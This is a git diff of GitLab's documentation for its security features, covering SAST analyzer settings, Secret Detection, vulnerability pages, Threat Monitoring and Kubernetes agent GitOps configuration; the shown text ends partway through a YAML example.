@@ -202,7 +202,7 @@ page:
### Customizing the SAST settings
-The SAST settings can be changed through [CI/CD variables](#available-variables)
+The SAST settings can be changed through [CI/CD variables](#available-cicd-variables)
by using the
[`variables`](../../../ci/yaml/README.md#variables) parameter in `.gitlab-ci.yml`.
In the following example, we include the SAST template and at the same time we
@@ -239,6 +239,24 @@ spotbugs-sast:
FAIL_NEVER: 1
```
+#### Pinning to minor image version
+
+While our templates use `MAJOR` version pinning to always ensure the latest analyzer
+versions are pulled, there are certain cases where it can be beneficial to pin
+an analyzer to a specific release. To do so, override the `SAST_ANALYZER_IMAGE_TAG` CI/CD variable
+in the job template directly.
+
+In the example below, we are pinning to a specific patch version of the `spotbugs` analyzer:
+
+```yaml
+include:
+ - template: Security/SAST.gitlab-ci.yml
+
+spotbugs-sast:
+ variables:
+ SAST_ANALYZER_IMAGE_TAG: "2.28.1"
+```
+
### Customize rulesets **(ULTIMATE)**
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/235382) in GitLab 13.5.
@@ -411,7 +429,7 @@ the vendored directory. This configuration can vary per analyzer but in the case
can use `MAVEN_REPO_PATH`. See
[Analyzer settings](#analyzer-settings) for the complete list of available options.
-### Available variables
+### Available CI/CD variables
SAST can be [configured](#customizing-the-sast-settings) using CI/CD variables.
@@ -454,9 +472,8 @@ The following are Docker image-related CI/CD variables.
| CI/CD variable | Description |
|---------------------------|---------------------------------------------------------------------------------------------------------------------------------------|
| `SECURE_ANALYZERS_PREFIX` | Override the name of the Docker registry providing the default images (proxy). Read more about [customizing analyzers](analyzers.md). |
-| `SAST_ANALYZER_IMAGE_TAG` | **DEPRECATED:** Override the Docker tag of the default images. Read more about [customizing analyzers](analyzers.md). |
-| `SAST_DEFAULT_ANALYZERS` | **DEPRECATED:** Override the names of default images. Scheduled for [removal in GitLab 14.0](https://gitlab.com/gitlab-org/gitlab/-/issues/290777). |
| `SAST_EXCLUDED_ANALYZERS` | Names of default images that should never run. Read more about [customizing analyzers](analyzers.md). |
+| `SAST_ANALYZER_IMAGE_TAG` | Override the default version of analyzer image. Read more about [pinning the analyzer image version](#pinning-to-minor-image-version). |
#### Vulnerability filters
@@ -492,9 +509,10 @@ Some analyzers can be customized with CI/CD variables.
| `MAVEN_REPO_PATH` | SpotBugs | Path to the Maven local repository (shortcut for the `maven.repo.local` property). |
| `SBT_PATH` | SpotBugs | Path to the `sbt` executable. |
| `FAIL_NEVER` | SpotBugs | Set to `1` to ignore compilation failure. |
-| `SAST_GOSEC_CONFIG` | Gosec | Path to configuration for Gosec (optional). |
+| `SAST_GOSEC_CONFIG` | Gosec | **{warning}** **[Removed](https://gitlab.com/gitlab-org/gitlab/-/issues/328301)** in GitLab 14.0 - use custom rulesets instead. Path to configuration for Gosec (optional). |
| `PHPCS_SECURITY_AUDIT_PHP_EXTENSIONS` | phpcs-security-audit | Comma separated list of additional PHP Extensions. |
-| `SAST_DISABLE_BABEL` | NodeJsScan | Disable Babel processing for the NodeJsScan scanner. Set to `true` to disable Babel processing. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/33065) in GitLab 13.2. |
+| `SAST_DISABLE_BABEL` | NodeJsScan | Disable Babel processing for the NodeJsScan scanner. Set to `true` to disable Babel processing. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/33065) in GitLab 13.2.
+| `SAST_SEMGREP_METRICS` | Semgrep | Set to `"false"` to disable sending anonymized scan metrics to [r2c](https://r2c.dev/). Default: `true`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/330565) in GitLab 14.0. |
#### Custom CI/CD variables
@@ -772,3 +790,7 @@ For Maven builds, add the following to your `pom.xml` file:
### Flawfinder encoding error
This occurs when Flawfinder encounters an invalid UTF-8 character. To fix this, convert all source code in your project to UTF-8 character encoding. This can be done with [`cvt2utf`](https://github.com/x1angli/cvt2utf) or [`iconv`](https://www.gnu.org/software/libiconv/documentation/libiconv-1.13/iconv.1.html) either over the entire project or per job using the [`before_script`](../../../ci/yaml/README.md#before_script) feature.
+
+### Semgrep slowness, unexpected results, or other errors
+
+If Semgrep is slow, reports too many false positives or false negatives, crashes, fails, or is otherwise broken, see the Semgrep docs for [troubleshooting GitLab SAST](https://semgrep.dev/docs/troubleshooting/gitlab-sast/).
diff --git a/doc/user/application_security/secret_detection/index.md b/doc/user/application_security/secret_detection/index.md
index 02d117b1c0a..f4aa9dc2787 100644
--- a/doc/user/application_security/secret_detection/index.md
+++ b/doc/user/application_security/secret_detection/index.md
@@ -62,6 +62,9 @@ The [default ruleset provided by Gitleaks](https://gitlab.com/gitlab-org/securit
- Password in URL
- U.S. Social Security Number
+WARNING:
+Gitleaks does not support scanning binary files.
+
## Requirements
To run Secret Detection jobs, by default, you need GitLab Runner with the
@@ -97,7 +100,8 @@ as shown in the following table:
## Configuration
-> GitLab 13.1 splits Secret Detection from the [SAST configuration](../sast#configuration) into its own CI/CD template. If you're using GitLab 13.0 or earlier and SAST is enabled, then Secret Detection is already enabled.
+> - In GitLab 13.1, Secret Detection was split from the [SAST configuration](../sast#configuration) into its own CI/CD template. If you're using GitLab 13.0 or earlier and SAST is enabled, then Secret Detection is already enabled.
+> - [In GitLab 14.0](https://gitlab.com/gitlab-org/gitlab/-/issues/297269), Secret Detection jobs `secret_detection_default_branch` and `secret_detection` were consolidated into one job, `secret_detection`.
Secret Detection is performed by a [specific analyzer](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/Secret-Detection.gitlab-ci.yml)
during the `secret-detection` job. It runs regardless of your app's programming language.
@@ -160,7 +164,7 @@ that you can review and merge to complete the configuration.
### Customizing settings
-The Secret Detection scan settings can be changed through [CI/CD variables](#available-variables)
+The Secret Detection scan settings can be changed through [CI/CD variables](#available-cicd-variables)
by using the
[`variables`](../../../ci/yaml/README.md#variables) parameter in `.gitlab-ci.yml`.
@@ -174,7 +178,7 @@ is no longer supported. When overriding the template, you must use [`rules`](../
#### GIT_DEPTH
-The [`GIT_DEPTH` CI/CD variable](../../../ci/runners/README.md#shallow-cloning) affects Secret Detection.
+The [`GIT_DEPTH` CI/CD variable](../../../ci/runners/configure_runners.md#shallow-cloning) affects Secret Detection.
The Secret Detection analyzer relies on generating patches between commits to scan content for
secrets. If you override the default, ensure the value is greater than 1. If the number of commits
in an MR is greater than the GIT_DEPTH value, Secret Detection will [fail to detect secrets](#error-couldnt-run-the-gitleaks-command-exit-status-2).
@@ -196,7 +200,7 @@ secret_detection:
Because the template is [evaluated before](../../../ci/yaml/README.md#include)
the pipeline configuration, the last mention of the variable takes precedence.
-#### Available variables
+#### Available CI/CD variables
Secret Detection can be customized by defining available CI/CD variables:
@@ -298,7 +302,7 @@ want to perform a full secret scan. Running a secret scan on the full history ca
especially for larger repositories with lengthy Git histories. We recommend not setting this CI/CD variable
as part of your normal job definition.
-A new configuration variable ([`SECRET_DETECTION_HISTORIC_SCAN`](#available-variables))
+A new configuration variable ([`SECRET_DETECTION_HISTORIC_SCAN`](#available-cicd-variables))
can be set to change the behavior of the GitLab Secret Detection scan to run on the entire Git history of a repository.
We have created a [short video walkthrough](https://youtu.be/wDtc_K00Y0A) showcasing how you can perform a full history secret scan.
@@ -396,7 +400,7 @@ ERRO[2020-11-18T18:05:52Z] object not found
[ERRO] [secrets] [2020-11-18T18:05:52Z] â–¶ Gitleaks analysis failed: exit status 2
```
-To resolve the issue, set the [`GIT_DEPTH` CI/CD variable](../../../ci/runners/README.md#shallow-cloning)
+To resolve the issue, set the [`GIT_DEPTH` CI/CD variable](../../../ci/runners/configure_runners.md#shallow-cloning)
to a higher value. To apply this only to the Secret Detection job, the following can be added to
your `.gitlab-ci.yml` file:
diff --git a/doc/user/application_security/security_dashboard/img/security_center_settings_v13_4.png b/doc/user/application_security/security_dashboard/img/security_center_settings_v13_4.png
index 74592e2cea5..6578c0bf4cf 100644
--- a/doc/user/application_security/security_dashboard/img/security_center_settings_v13_4.png
+++ b/doc/user/application_security/security_dashboard/img/security_center_settings_v13_4.png
Binary files differ
diff --git a/doc/user/application_security/security_dashboard/index.md b/doc/user/application_security/security_dashboard/index.md
index f0b3d895df5..01de066367c 100644
--- a/doc/user/application_security/security_dashboard/index.md
+++ b/doc/user/application_security/security_dashboard/index.md
@@ -150,8 +150,7 @@ the following:
![Security Center Dashboard with projects](img/security_center_dashboard_v13_4.png)
-To view the Security Center, from the navigation bar at the top of the page, select
-**More > Security**.
+To view the Security Center, on the top bar, select **Menu > Security**.
### Adding projects to the Security Center
diff --git a/doc/user/application_security/terminology/index.md b/doc/user/application_security/terminology/index.md
index 1316f1b9644..ce30accfb4d 100644
--- a/doc/user/application_security/terminology/index.md
+++ b/doc/user/application_security/terminology/index.md
@@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: reference
---
-# Secure and Protect terminology
+# Secure and Protect terminology **(FREE)**
This terminology list for GitLab Secure and Protect aims to:
@@ -101,7 +101,7 @@ of the finding's [first identifier](https://gitlab.com/gitlab-org/security-produ
combine to create the value.
Examples of primary identifiers include `PluginID` for OWASP Zed Attack Proxy (ZAP), or `CVE` for
-Klar. Note that the identifier must be stable. Subsequent scans must return the same value for the
+Trivy. Note that the identifier must be stable. Subsequent scans must return the same value for the
same finding, even if the location has slightly changed.
### Report finding
@@ -122,7 +122,7 @@ The type of scan. This must be one of the following:
### Scanner
Software that can scan for vulnerabilities. The resulting scan report is typically not in the
-[Secure report format](#secure-report-format). Examples include ESLint, Klar, and ZAP.
+[Secure report format](#secure-report-format). Examples include ESLint, Trivy, and ZAP.
### Secure product
diff --git a/doc/user/application_security/threat_monitoring/img/threat_monitoring_policy_alert_list_v13_12.png b/doc/user/application_security/threat_monitoring/img/threat_monitoring_policy_alert_list_v13_12.png
index 1f02fd30f8e..e165c7e6ceb 100644
--- a/doc/user/application_security/threat_monitoring/img/threat_monitoring_policy_alert_list_v13_12.png
+++ b/doc/user/application_security/threat_monitoring/img/threat_monitoring_policy_alert_list_v13_12.png
Binary files differ
diff --git a/doc/user/application_security/threat_monitoring/index.md b/doc/user/application_security/threat_monitoring/index.md
index 825bc64d52b..e1200c60419 100644
--- a/doc/user/application_security/threat_monitoring/index.md
+++ b/doc/user/application_security/threat_monitoring/index.md
@@ -16,34 +16,8 @@ Monitoring** page.
GitLab supports statistics for the following security features:
-- [Web Application Firewall](../../clusters/applications.md#web-application-firewall-modsecurity)
- [Container Network Policies](../../../topics/autodevops/stages.md#network-policy)
-## Web Application Firewall
-
-The Web Application Firewall section provides metrics for the NGINX
-Ingress controller and ModSecurity firewall. This section has the
-following prerequisites:
-
-- Project has to have at least one [environment](../../../ci/environments/index.md).
-- [Web Application Firewall](../../clusters/applications.md#web-application-firewall-modsecurity) has to be enabled.
-- [Elastic Stack](../../clusters/applications.md#web-application-firewall-modsecurity) has to be installed.
-
-If you are using custom Helm values for the Elastic Stack you have to
-configure Filebeat similarly to the [vendored values](https://gitlab.com/gitlab-org/gitlab/-/blob/f610a080b1ccc106270f588a50cb3c07c08bdd5a/vendor/elastic_stack/values.yaml).
-
-The **Web Application Firewall** section displays the following information
-about your Ingress traffic:
-
-- The total amount of requests to your application
-- The proportion of traffic that is considered anomalous according to
- the configured rules
-- The request breakdown graph for the selected time interval
-
-If a significant percentage of traffic is anomalous, you should
-investigate it for potential threats by
-[examining the Web Application Firewall logs](../../clusters/applications.md#web-application-firewall-modsecurity).
-
## Container Network Policy
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/32365) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.9.
@@ -88,7 +62,7 @@ investigate it for potential threats by
The **Threat Monitoring** page's **Policy** tab displays deployed
network policies for all available environments. You can check a
-network policy's `yaml` manifest, toggle the policy's enforcement
+network policy's `yaml` manifest, its enforcement
status, and create and edit deployed policies. This section has the
following prerequisites:
@@ -97,8 +71,7 @@ following prerequisites:
Network policies are fetched directly from the selected environment's
deployment platform. Changes performed outside of this tab are
-reflected upon refresh. Enforcement status changes are deployed
-directly to a deployment namespace of the selected environment.
+reflected upon refresh.
By default, the network policy list contains predefined policies in a
disabled state. Once enabled, a predefined policy deploys to the
@@ -115,8 +88,9 @@ users must make changes by following the
To change a network policy's enforcement status:
- Click the network policy you want to update.
-- Click the **Enforcement status** toggle to update the selected policy.
-- Click the **Apply changes** button to deploy network policy changes.
+- Click the **Edit policy** button.
+- Click the **Policy status** toggle to update the selected policy.
+- Click the **Save changes** button to deploy network policy changes.
Disabled network policies have the `network-policy.gitlab.com/disabled_by: gitlab` selector inside
the `podSelector` block. This narrows the scope of such a policy and as a result it doesn't affect
@@ -165,7 +139,8 @@ button at the bottom of the editor.
### Configuring Network Policy Alerts
-> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3438) and [enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/287676) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.9.
+> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3438) and [enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/287676) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.9.
+> - The feature flag was removed and the Threat Monitoring Alerts Project was [made generally available](https://gitlab.com/gitlab-org/gitlab/-/issues/287676) in GitLab 14.0.
You can use policy alerts to track your policy's impact. Alerts are only available if you've
[installed](../../clusters/agent/repository.md)
@@ -186,25 +161,6 @@ There are two ways to create policy alerts:
Once added, the UI updates and displays a warning about the dangers of too many alerts.
-#### Enable or disable Policy Alerts **(ULTIMATE)**
-
-Policy Alerts is under development but ready for production use.
-It is deployed behind a feature flag that is **enabled by default**.
-[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md)
-can opt to disable it.
-
-To enable it:
-
-```ruby
-Feature.enable(:threat_monitoring_alerts)
-```
-
-To disable it:
-
-```ruby
-Feature.disable(:threat_monitoring_alerts)
-```
-
### Container Network Policy Alert list
> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3438) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.9.
diff --git a/doc/user/application_security/vulnerabilities/img/vulnerability_page_merge_request_button_dropdown_v13_1.png b/doc/user/application_security/vulnerabilities/img/vulnerability_page_merge_request_button_dropdown_v13_1.png
deleted file mode 100644
index 05ca74c3d5c..00000000000
--- a/doc/user/application_security/vulnerabilities/img/vulnerability_page_merge_request_button_dropdown_v13_1.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/application_security/vulnerabilities/index.md b/doc/user/application_security/vulnerabilities/index.md
index 965b856504d..9866709bacc 100644
--- a/doc/user/application_security/vulnerabilities/index.md
+++ b/doc/user/application_security/vulnerabilities/index.md
@@ -9,44 +9,47 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13561) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.0.
-Each security vulnerability in a project's [Vulnerability Report](../vulnerability_report/index.md) has an individual page which includes:
+Each vulnerability in a project has a Vulnerability Page. This page contains details of the
+vulnerability. The details included vary according to the type of vulnerability. Details of each
+vulnerability include:
-- Details of the vulnerability.
-- The status of the vulnerability in the project.
-- Available actions for the vulnerability.
-- Any issues related to the vulnerability.
+- Description
+- When it was detected
+- Current status
+- Available actions
+- Linked issues
+- Actions log
On the vulnerability's page, you can:
- [Change the vulnerability's status](#change-vulnerability-status).
- [Create an issue](#create-an-issue-for-a-vulnerability).
-- [Link issues to the vulnerability](#link-gitlab-issues-to-the-vulnerability).
-- [Remediate a vulnerability automatically](#remediate-a-vulnerability-automatically), if an
- automatic solution is available.
-- [Remediate a vulnerability manually](#remediate-a-vulnerability-manually), if a solution is
+- [Link issues to the vulnerability](#linked-issues).
+- [Resolve a vulnerability](#resolve-a-vulnerability), if a solution is
available.
-## Change vulnerability status
+## Vulnerability status values
+
+A vulnerability's status can be one of the following:
-You can change the status of a vulnerability using the **Status** dropdown to one of
-the following values:
+| Status | Description |
+|:----------|:------------|
+| Detected | The default state for a newly discovered vulnerability. |
+| Confirmed | A user has seen this vulnerability and confirmed it to be accurate. |
+| Dismissed | A user has seen this vulnerability and dismissed it because it is not accurate or otherwise not to be resolved. |
+| Resolved | The vulnerability has been fixed and is no longer valid. |
-| Status | Description |
-|-----------|----------------------------------------------------------------------------------------------------------------|
-| Detected | The default state for a newly discovered vulnerability |
-| Confirmed | A user has seen this vulnerability and confirmed it to be accurate |
-| Dismissed | A user has seen this vulnerability and dismissed it because it is not accurate or otherwise not to be resolved |
-| Resolved | The vulnerability has been fixed and is no longer valid |
+## Change vulnerability status
-A timeline shows you when the vulnerability status has changed
-and allows you to comment on a change.
+To change a vulnerability's status, select a new value from the **Status** dropdown then select
+**Change status**. Optionally, add a comment to the log entry at the bottom of the page.
## Create an issue for a vulnerability
From a vulnerability's page you can create an issue to track all action taken to resolve or
mitigate it.
-From a vulnerability you can create either:
+You can create either:
- [A GitLab issue](#create-a-gitlab-issue-for-a-vulnerability) (default).
- [A Jira issue](#create-a-jira-issue-for-a-vulnerability).
@@ -68,14 +71,7 @@ The issue is then opened so you can take further action.
### Create a Jira issue for a vulnerability
> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/4677) in GitLab 13.9.
-> - It's [deployed behind a feature flag](../../../user/feature_flags.md), enabled by default.
-> - It's enabled on GitLab.com.
-> - It's recommended for production use.
-> - For GitLab self-managed instances, GitLab administrators can opt to
-> [disable it](#enable-or-disable-jira-integration-for-vulnerabilities).
-
-WARNING:
-This feature might not be available to you. Check the **version history** note above for details.
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/283850) in GitLab 13.12.
Prerequisites:
@@ -92,54 +88,47 @@ To create a Jira issue for a vulnerability:
The Jira issue is created and opened in a new browser tab. The **Summary** and **Description**
fields are pre-populated from the vulnerability's details.
-### Enable or disable Jira integration for vulnerabilities **(ULTIMATE SELF)**
-
-The option to create a Jira issue for a vulnerability is under development but ready for production
-use. It is deployed behind a feature flag that is **enabled by default**.
-[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md)
-can opt to disable it.
-
-To enable it:
-
-```ruby
-Feature.enable(:jira_for_vulnerabilities)
-```
+Unlike GitLab issues, the status of whether a Jira issue is open or closed does not display in the GitLab user interface.
-To disable it:
-
-```ruby
-Feature.disable(:jira_for_vulnerabilities)
-```
-
-## Link GitLab issues to the vulnerability
+## Linked issues
NOTE:
If Jira issue support is enabled, GitLab issues are disabled so this feature is not available.
-You can link one or more existing GitLab issues to the vulnerability. This allows you to
-indicate that this vulnerability affects multiple issues. It also allows you to indicate
-that the resolution of one issue would resolve multiple vulnerabilities.
-
-Linked issues are shown in the Vulnerability Report and the vulnerability's page.
+You can link one or more existing GitLab issues to a vulnerability. Adding a link helps track
+the issue that resolves or mitigates a vulnerability.
-## Link to an existing issue
+Issues linked to a vulnerability are shown in the Vulnerability Report and the vulnerability's page.
-If you already have an open issue, you can link to it from the vulnerability.
+Be aware of the following conditions between a vulnerability and a linked issue:
- The vulnerability page shows related issues, but the issue page doesn't show the vulnerability it's related to.
- An issue can only be related to one vulnerability at a time.
- Issues can be linked across groups and projects.
-To link to an existing issue:
+## Link to existing issues
+
+To link a vulnerability to existing issues:
+
+1. Go to the vulnerability's page.
+1. In the **Linked issues** section, select the plus icon (**{plus}**).
+1. For each issue to be linked, either:
+ - Paste a link to the issue.
+ - Enter the issue's ID (prefixed with a hash `#`).
+1. Select **Add**.
+
+The selected issues are added to the **Linked issues** section, and the linked issues counter is updated.
+
+## Resolve a vulnerability
-1. Open the vulnerability.
-1. [Add a linked issue](../../project/issues/related_issues.md).
+For some vulnerabilities a solution is already known. In those instances, a vulnerability's page
+includes a **Resolve with merge request** option.
-## Remediate a vulnerability automatically
+To resolve a vulnerability, you can either:
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/5656) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 11.7.
+- [Resolve a vulnerability with a merge request](#resolve-a-vulnerability-with-a-merge-request).
+- [Resolve a vulnerability manually](#resolve-a-vulnerability-manually).
-Some vulnerabilities can be fixed by applying the solution that GitLab automatically generates.
The following scanners are supported:
- [Dependency Scanning](../dependency_scanning/index.md).
@@ -147,42 +136,33 @@ The following scanners are supported:
`yarn`.
- [Container Scanning](../container_scanning/index.md).
-### Remediate a vulnerability manually
+![Create merge request from vulnerability](img/create_mr_from_vulnerability_v13_4.png)
-To manually apply the patch that GitLab generated for a vulnerability:
+### Resolve a vulnerability with a merge request
+
+To resolve the vulnerability with a merge request, go to the vulnerability's page and from the
+**Resolve with merge request** dropdown select **Resolve with merge request**.
-1. Select the **Resolve with merge request** dropdown, then select **Download patch to resolve**:
+A merge request is created which applies the patch required to resolve the vulnerability.
+Process the merge request according to your standard workflow.
- ![Resolve with Merge Request button dropdown](img/vulnerability_page_merge_request_button_dropdown_v13_1.png)
+### Resolve a vulnerability manually
+To manually apply the patch that GitLab generated for a vulnerability:
+
+1. Go to the vulnerability's page and from the **Resolve with merge request** dropdown select
+ **Download patch to resolve**.
1. Ensure your local project has the same commit checked out that was used to generate the patch.
1. Run `git apply remediation.patch`.
1. Verify and commit the changes to your branch.
-### Create a merge request with the suggested patch
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/9224) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 11.9.
-
-In some cases, you can create a merge request that automatically remediates the
-vulnerability. Any vulnerability that has a
-[solution](#remediate-a-vulnerability-automatically) can have a merge
-request created to automatically solve the issue.
-
-If this action is available:
-
-1. Select the **Resolve with merge request** dropdown, then select **Resolve with merge request**.
-
- ![Create merge request from vulnerability](img/create_mr_from_vulnerability_v13_4.png)
-
-A merge request is created. It applies the solution to the source branch.
-
## Vulnerability scanner maintenance
The following vulnerability scanners and their databases are regularly updated:
| Secure scanning tool | Vulnerabilities database updates |
|:----------------------------------------------------------------|----------------------------------|
-| [Container Scanning](../container_scanning/index.md) | Uses either `trivy` or `clair`. For the `trivy` scanner, a job runs on a daily basis to build a new image with the latest vulnerability database updates from the [upstream `trivy-db`](https://github.com/aquasecurity/trivy-db). For the `clair` scanner, the latest `clair-db` version is used; `clair-db` database [is updated daily according to the author](https://github.com/arminc/clair-local-scan#clair-server-or-local). |
+| [Container Scanning](../container_scanning/index.md) | A job runs on a daily basis to build new images with the latest vulnerability database updates from the upstream scanner. |
| [Dependency Scanning](../dependency_scanning/index.md) | Relies on `bundler-audit` (for Ruby gems), `retire.js` (for npm packages), and `gemnasium` (the GitLab tool for all libraries). Both `bundler-audit` and `retire.js` fetch their vulnerabilities data from GitHub repositories, so vulnerabilities added to `ruby-advisory-db` and `retire.js` are immediately available. The tools themselves are updated once per month if there's a new version. The [Gemnasium DB](https://gitlab.com/gitlab-org/security-products/gemnasium-db) is updated at least once a week. See our [current measurement of time from CVE being issued to our product being updated](https://about.gitlab.com/handbook/engineering/development/performance-indicators/#cve-issue-to-update). |
| [Dynamic Application Security Testing (DAST)](../dast/index.md) | The scanning engine is updated on a periodic basis. See the [version of the underlying tool `zaproxy`](https://gitlab.com/gitlab-org/security-products/dast/blob/master/Dockerfile#L1). The scanning rules are downloaded at scan runtime. |
| [Static Application Security Testing (SAST)](../sast/index.md) | Relies exclusively on [the tools GitLab wraps](../sast/index.md#supported-languages-and-frameworks). The underlying analyzers are updated at least once per month if a relevant update is available. The vulnerabilities database is updated by the upstream tools. |
diff --git a/doc/user/application_security/vulnerabilities/severities.md b/doc/user/application_security/vulnerabilities/severities.md
index 75366a49a55..f3e8e98bce3 100644
--- a/doc/user/application_security/vulnerabilities/severities.md
+++ b/doc/user/application_security/vulnerabilities/severities.md
@@ -5,7 +5,7 @@ group: Threat Insights
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Vulnerability severity levels
+# Vulnerability severity levels **(ULTIMATE)**
GitLab vulnerability analyzers attempt to return vulnerability severity level values whenever
possible. The following is a list of available GitLab vulnerability severity levels, ranked from
@@ -62,10 +62,9 @@ the following tables:
## Container Scanning
-| GitLab scanner | Outputs severity levels? | Native severity level type | Native severity level example |
+| GitLab analyzer | Outputs severity levels? | Native severity level type | Native severity level example |
|------------------------------------------------------------------------|--------------------------|----------------------------|--------------------------------------------------------------|
-| [`clair`](https://gitlab.com/gitlab-org/security-products/analyzers/klar) | **{check-circle}** Yes | String | `Negligible`, `Low`, `Medium`, `High`, `Critical`, `Defcon1` |
-| [`trivy`](https://gitlab.com/gitlab-org/security-products/analyzers/container-scanning)| **{check-circle}** Yes | String | `Unknown`, `Low`, `Medium`, `High`, `Critical` |
+| [`container-scanning`](https://gitlab.com/gitlab-org/security-products/analyzers/container-scanning)| **{check-circle}** Yes | String | `Unknown`, `Low`, `Medium`, `High`, `Critical` |
## Fuzz Testing
diff --git a/doc/user/application_security/vulnerability_report/index.md b/doc/user/application_security/vulnerability_report/index.md
index f68fb0c5cbb..07025d193af 100644
--- a/doc/user/application_security/vulnerability_report/index.md
+++ b/doc/user/application_security/vulnerability_report/index.md
@@ -128,10 +128,12 @@ To view the relevant file, select the filename in the vulnerability's details.
## View issues raised for a vulnerability
The **Activity** column indicates the number of issues that have been created for the vulnerability.
-Hover over an **Activity** entry and select a link go to that issue.
+Hover over an **Activity** entry and select a link go to that issue. The status of whether the issue is open or closed also displays in the hover menu.
![Display attached issues](img/vulnerability_list_table_v13_9.png)
+If Jira issue support is enabled, the issue link found in the Activity entry links out to the issue in Jira. Unlike GitLab issues, the status of whether a Jira issue is Open or Closed does not display in the GitLab UI.
+
## Change status of vulnerabilities
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/292636) in GitLab 13.10, all statuses became selectable.
diff --git a/doc/user/clusters/agent/index.md b/doc/user/clusters/agent/index.md
index 5e272f2a816..414ed8377db 100644
--- a/doc/user/clusters/agent/index.md
+++ b/doc/user/clusters/agent/index.md
@@ -462,7 +462,7 @@ The setup process follows the same steps as [GitOps](#get-started-with-gitops-an
with the following differences:
- When you define a configuration repository, you must do so with [Cilium settings](#define-a-configuration-repository-with-cilium-settings).
-- You do not need to create a `manifest.yaml`.
+- You do not need to specify the `gitops` configuration section.
### Define a configuration repository with Cilium settings
@@ -486,7 +486,7 @@ cilium:
## Management interfaces
Users with at least the [Developer](../../permissions.md) can access the user interface
-for the GitLab Kubernetes agent at **Operations > Kubernetes** under the
+for the GitLab Kubernetes agent at **Infrastructure > Kubernetes clusters**, under the
**GitLab Agent managed clusters** tab. This page lists all registered agents for
the current project, and the configuration directory for each agent:
diff --git a/doc/user/clusters/agent/repository.md b/doc/user/clusters/agent/repository.md
index 49e5e8c58df..cd40cc6810e 100644
--- a/doc/user/clusters/agent/repository.md
+++ b/doc/user/clusters/agent/repository.md
@@ -8,6 +8,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/259669) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.7.
> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3834) in GitLab 13.11, the Kubernetes Agent became available on GitLab.com.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/332227) in GitLab 14.0, the `resource_inclusions` and `resource_exclusions` attributes were removed.
WARNING:
This feature might not be available to you. Check the **version history** note above for details.
@@ -38,16 +39,7 @@ with Kubernetes resource definitions in YAML or JSON format. The Agent monitors
each project you declare, and when the project changes, GitLab deploys the changes
using the Agent.
-To use multiple YAML files, specify a `paths` attribute in the `gitops` section.
-
-By default, the Agent monitors all
-[Kubernetes object types](https://kubernetes.io/docs/concepts/overview/working-with-objects/kubernetes-objects/#required-fields).
-You can exclude some types of resources from monitoring. This enables you to reduce
-the permissions needed by the GitOps feature, through `resource_exclusions`.
-
-To enable a specific named resource, first use `resource_inclusions` to enable desired resources.
-The following file excerpt includes specific `api_groups` and `kinds`. The `resource_exclusions`
-which follow excludes all other `api_groups` and `kinds`:
+To use multiple YAML files, specify a `paths` attribute in the `gitops.manifest_projects` section.
```yaml
gitops:
@@ -58,28 +50,6 @@ gitops:
# The `id` is a path to a Git repository with Kubernetes resource definitions
# in YAML or JSON format.
- id: gitlab-org/cluster-integration/gitlab-agent
- # Holds the only API groups and kinds of resources that gitops will monitor.
- # Inclusion rules are evaluated first, then exclusion rules.
- # If there is still no match, resource is monitored.
- # Resources: https://kubernetes.io/docs/concepts/overview/working-with-objects/kubernetes-objects/#required-fields
- # Groups: https://kubernetes.io/docs/concepts/overview/kubernetes-api/#api-groups-and-versioning
- resource_inclusions:
- - api_groups:
- - apps
- kinds:
- - '*'
- - api_groups:
- - ''
- kinds:
- - 'ConfigMap'
- # Holds the API groups and kinds of resources to exclude from gitops watch.
- # Inclusion rules are evaluated first, then exclusion rules.
- # If there is still no match, resource is monitored.
- resource_exclusions:
- - api_groups:
- - '*'
- kinds:
- - '*'
# Namespace to use if not set explicitly in object manifest.
default_namespace: my-ns
# Paths inside of the repository to scan for manifest files.
@@ -93,6 +63,87 @@ gitops:
- glob: '/team2/apps/**/*.yaml'
# If 'paths' is not specified or is an empty list, the configuration below is used
- glob: '/**/*.{yaml,yml,json}'
+ # Reconcile timeout defines whether the applier should wait
+ # until all applied resources have been reconciled, and if so,
+ # how long to wait.
+ reconcile_timeout: 3600s # 1 hour by default
+ # Dry run strategy defines whether changes should actually be performed,
+ # or if it is just talk and no action.
+ # https://github.com/kubernetes-sigs/cli-utils/blob/d6968048dcd80b1c7b55d9e4f31fc25f71c9b490/pkg/common/common.go#L68-L89
+ # Can be: none, client, server
+ dry_run_strategy: none # 'none' by default
+ # Prune defines whether pruning of previously applied
+ # objects should happen after apply.
